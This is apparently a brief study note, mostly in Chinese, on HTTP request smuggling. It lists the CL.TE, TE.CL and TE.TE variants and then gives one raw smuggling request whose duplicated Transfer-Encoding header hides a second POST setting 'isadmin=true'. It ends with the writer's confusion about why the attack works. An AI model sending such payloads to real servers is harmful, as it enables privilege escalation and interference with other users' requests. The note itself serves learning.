HTTP Request Smuggling

前后端处理差异
CL.TEContent-Length/Transfer-Encoding
TE.CL正好反过来
TE.TE 利用编码不同

POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1

4c
POST /update HTTP/1.1
Host: example.com
Content-length: 15

isadmin=true
0

这样爆破

为什么能返回

不理解啊!!!
别人的请求错误的和我的请求合并了???